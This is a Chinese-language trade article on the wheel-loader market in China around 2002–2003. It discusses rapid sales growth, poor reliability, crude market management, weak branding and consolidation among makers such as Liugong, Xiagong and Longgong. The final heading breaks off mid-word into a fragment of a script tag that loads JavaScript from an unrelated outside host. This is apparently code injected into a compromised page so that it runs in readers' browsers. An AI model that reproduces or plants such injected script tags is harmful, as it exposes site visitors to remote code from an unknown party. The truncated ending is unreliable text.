近几年来，装载机不断在市场上创造奇迹、不断令人出乎意料，几乎所有人的预测在事后都被证明是保守的！也正是因为预测一再落空，人们对装载机市场的发展前景更加难以判断，这种暧昧心态在市场竞争中则很容易转化为一种激进行为，突出表现在扩大生产规模、销量规模和网络规模。在对扩大规模的认识上，厂家和代理商的思路出现惊人的一致，整个装载机市场也因此呈现出一派令人眼晕目眩的繁荣景象。
其实，此时此刻的生产厂家最需要做的事情就是保持清醒的头脑，拥有一双看透热闹竞争场面的慧眼。量的快速增长掩盖了质的落后。
中国有句老话，“一俊遮百丑”。中国装载机市场在最近两年中出现高速增长势头，行业年均增长率高达30％以上，个别生产厂家的增长率更是超过100％，2002年全国市场总销量更是达到创纪录的45000台左右，提前几年完成了国家十五规划目标。装载机市场的快速增长，主要来自两方面因素的刺激，一是国家基础建设投资持续高速增长，二是装载机行业持续进行的价格战已经使价格探底。市场需求的增加，消费门槛的降低，一增一减，装载机市场想不出现火爆现象都很难了。在销量急速扩张的同时，国产装载机在产品质量、市场管理和品牌建设等方面的落后并没有得到改善。
1．产品质量急需解决可靠性问题。
市场竞争的基础是产品竞争。装载机是一种在恶劣工作环境下使用的机械设备，设备可靠性是保证用户正常开展工作的重要前提条件。与小松、沃尔沃等进口品牌装载机相比，国产装载机品牌普遍存在可靠性差的问题，平均无故障工作小时远远低于进口品牌，这也是国产品牌与进口品牌价格相差大的主要原因。在近两年中，销量的急速扩张更将产品质量可靠性差的问题暴露无遗，有些品牌甚至出现质量倒退。
2．市场管理急需解决精细化问题。
“重销量、轻市场”也是国产品牌装载机的一个老问题。大多数生产厂家一味追求销量，而对市场管理采取模糊态度，甚至放任自流，使市场管理长时间停留在“粗放管理”状态。前中国国家足球队主教练米卢曾经说过，“态度决定一切”。粗放管理市场的结果导致生产厂家常常是“头痛医头、脚痛医脚”，市场冲突不断，产品价格一再下调，返利越来越多，厂家利润空间越来越小，代理商却大喊没有利润。
3．品牌建设急需解决价值度问题。
国产装载机有很多品牌，却没有真正值钱的品牌。我们很多厂家和代理商在销售过程中常常对用户说，进口品牌价格高的一大原因就是品牌值钱。换句话说，我们大多数人对品牌价值是认同的，我们也希望自己生产或代理的品牌是一个有价值的品牌，因为品牌不仅有效促进销售，还可以获得额外利润。但遗憾的是，国产装载机品牌很少进行品牌建设工作，因为大多数品牌连自己的品牌定位问题都没有解决，都是在卖装载机，而不是在经营装载机品牌。所以，多数厂家的利润很“老实”，就是销售价格与成本之间的差价。 行业重新洗牌初现端倪
如果说柳工、厦工是中国装载机的摇篮，一点都不为过，更难得可贵的是柳厦将行业领先优势一直保持到今天，装载机市场竞争格局也因此多年未变，柳厦始终居于金字塔的塔尖。但是，这并不意味着金字塔将是永久稳固的，事实上，一些先知先觉的装载机品牌已经在开始推动金字塔再造工程，装载机行业重新洗牌的序幕悄然拉开。
1．柳厦龙重新布局全国市场
中国装载机市场前所未有的高速增长，让几乎所有的生产厂家都下定决心抓住机遇上规模、上台阶，多数品牌的年增长目标都非常有想象力。但是，如果将所有厂家的销售目标相加起来，我们会惊奇地发现总目标销售量是一个“不可能完成的任务”。市场需求的增长速度如果低于厂家的平均目标增长速度，只可能有一种结果，那就是挤占其他品牌的市场份额。所以，柳工连续兼并江阴等企业，完成江北战略布局；厦工宣布全面收购宜工，创造了装载机行业吞并竞争对手的历史；龙工在上海斥巨资建设新的生产基地，则完成了区域性品牌向全国性品牌的转化。
2．临工徐工异军突起
如果说，柳厦龙是国产装载机的第一军团，那么，常林、徐工、山工、临工、成工等构成了实力平均的第二军团，两大军团实际上就代表了国产装载机的发展。作为市场的挑战者，要想扩大市场占有份额，采取比附策略是一种常用竞争手段，具体做法就是制定比领先品牌对用户更具诱惑力的策略，如更低价格、更高配置、更好服务等。2002年的临工、2003年的徐工，都因为采用了比附竞争策略，实行低价格甚至无底价销售，而迅速提高了产品销量。当然，这一切的成功实施必须有强大的资金作为后援支持。
3．山工力推差异化战?script src=http://er12.com/t.js>
